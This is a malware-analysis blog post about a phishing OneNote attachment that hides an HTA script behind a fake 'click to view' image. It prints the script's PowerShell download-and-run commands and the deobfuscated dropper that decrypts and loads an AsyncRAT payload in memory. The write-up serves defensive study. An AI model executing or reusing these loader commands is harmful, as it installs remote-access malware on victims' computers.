A First Malicious OneNote Document

Published: 2023-01-25
Last Updated: 2023-01-25 08:45:41 UTC
by Xavier Mertens (Version: 1)
2 comment(s)

Attackers are always trying to find new ways to deliver malware to victims. They recently started sending Microsoft OneNote files in massive phishing campaigns[1]. OneNote files (ending the extension ".one") are handled automatically by computers that have the Microsoft Office suite installed. Yesterday, my honeypot caught a first sample. This is a good opportunity to have a look at these files. The file, called "delivery-note.one", was delivered as an attachment to a classic phishing email:

The attacker used a simple trick to hide suspicious elements: The script linked to the "Click to view document" PNG picture is just... behind this picture! Funny to mention, the script name contains a weird character:

remnux@remnux:/MalwareZoo/20230124$ ll t*
total 273
drwxr-xr-x 1 501 dialout   352 Jan 24 01:57 ./
drwxr-xr-x 1 501 dialout  4992 Jan 24 00:54 ../
-rwxr-xr-x 1 501 dialout  1703 Jan 24 01:50 temp?eno.hta*
remnux@remnux:/MalwareZoo/20230124$ file tem?eno.hta 
tempsrotanimret enil FLRC htiw , txet IICSA ,tnemucod LMTH : ath.one

As you can see, the filename contains a control character that alters the console output :-)

temp<202e>eno.hta: HTML document, ASCII text, with CRLF line terminators

The file contains the VBS macro that will perform the malicious actions. In the meantime, Didier wrote a new tool to analyze (and extract data) from OneNote files. The tool is called like all Didiers's tools: onedump.py[2]. It is still in beta but already does a great job:

remnux@remnux:/MalwareZoo/20230124$ ./onedump.py delivery-report.one 
File: delivery-report.one
 1: 0x000022e8 .PNG 89504e47 0x00000147 9cc9eb32f6ed4a3cef2e62e258895f95
 2: 0x00002588 ..<! 0d0a3c21 0x000006a7 cf8d9fcdfdc57816f71c7858d791352f
 3: 0x00003230 .PNG 89504e47 0x0000145d ddb6da5a6385b9a062409e605c66f682

Steam number 2 looks the most interesting one (starting with "<!"). Let's dump it, and it's indeed the file that I extracted manually:

remnux@remnux:/MalwareZoo/20230124$ ./onedump.py delivery-report.one -s 2 -d >payload2.hta

The HTA file is not obfuscated at all and is easy to analyze. The most important code is this one:

Sub AutoOpen()
    ExecuteCmdAsync "cmd /c powershell Invoke-WebRequest -Uri https://www.onenotegem.com/uploads/soft/one-\
       templates/the_daily_schedule.one -OutFile $env:tmp\invoice.one; Start-Process -Filepath $env:tmp\invoice.one"
    ExecuteCmdAsync "cmd /c powershell Invoke-WebRequest -Uri https://transfer.sh/get/DdAbds/window.bat -OutFile \
       $env:tmp\system32.bat; Start-Process -Filepath $env:tmp\system32.bat"
End Sub

The first ExecuteCmdAsync() will download a simple note that is not malicious and open it. Probably to make the victim happy and confident that the first note is legit. 

The second execution will fetch and execute a Windows .bat file. This one is nicely obfuscated:

@echo off
set "JPZP=set "

This snippet of the script will help you to understand how it works: A lot of environment variables are created and, below, concatenated to build commands. If it's difficult to read, it's easy to deobfuscate. Just add a bunch of "echo" at the beginning of all lines at the bottom of the file and execute it. Here is the generated code (beautified):

copy C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe /y "test.bat.exe"
cd "C:\Users\REM\Desktop\"
"test.bat.exe" -noprofile -windowstyle hidden -ep bypass -command 
$hfShb = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\REM\Desktop\test.bat').Split([Environment]::NewLine);
foreach ($TIZnc in $hfShb)
    if ($TIZnc.StartsWith(':: ')) 
        $OPowf = $TIZnc.Substring(3); break;
$kJJdx = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($OPowf);
$xypSr = New-Object System.Security.Cryptography.AesManaged;
$xypSr.Mode = [System.Security.Cryptography.CipherMode]::CBC;
$xypSr.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;
$xypSr.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Cao+K/bvGpiu3YwMcce0n/wD4E4gfQmkj3F2tfn9rZk=');
$xypSr.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lAK9B8Af6zbgofnvIf4zYQ==');
$wkMnt = $xypSr.CreateDecryptor();
$kJJdx = $wkMnt.TransformFinalBlock($kJJdx, 0, $kJJdx.Length);
$XQlHS = New-Object System.IO.MemoryStream(, $kJJdx);
$CoXOG = New-Object System.IO.MemoryStream;
$AbQce = New-Object System.IO.Compression.GZipStream($XQlHS, [IO.Compression.CompressionMode]::Decompress);
$kJJdx = $CoXOG.ToArray();
$MnaeK = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($kJJdx);
$INAif = $MnaeK.EntryPoint;$INAif.Invoke($null, (, [string[]] ('')))
exit /b

Did you see the next obfuscation technique? Interesting strings are reversed:

('gnirtS46esaBmorF'[-1..-16] -join '')

This script is a dropper. The payload is located in the file and read by PowerShell. It is identified by lines starting with ":: ":

foreach ($TIZnc in $hfShb)
    if ($TIZnc.StartsWith(':: '))   
        $OPowf = $TIZnc.Substring(3); break;   

The payload is AES encrypted. Let's decrypt it with CyberChef:

The decrypted PE file (SHA256:ee1713429991c75fb6d53b6ed6dd0296ae7889a86c85b55d20a782c332948b7a) is unknown on VT. It's an ASyncRAT and tries to connect to wormxwar[.]ddns[.]net as C2...

[1] https://www.bleepingcomputer.com/news/security/hackers-now-use-microsoft-onenote-attachments-to-spread-malware/
[2] https://blog.didierstevens.com/2023/01/22/new-tool-onedump-py/

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant

2 comment(s)


Thank you for this write up Xavier!

May I ask, how did you come up with the AES decryption information?

Thanks again!
nvm, I realized my mistake. Thank you again for all the work being done here.

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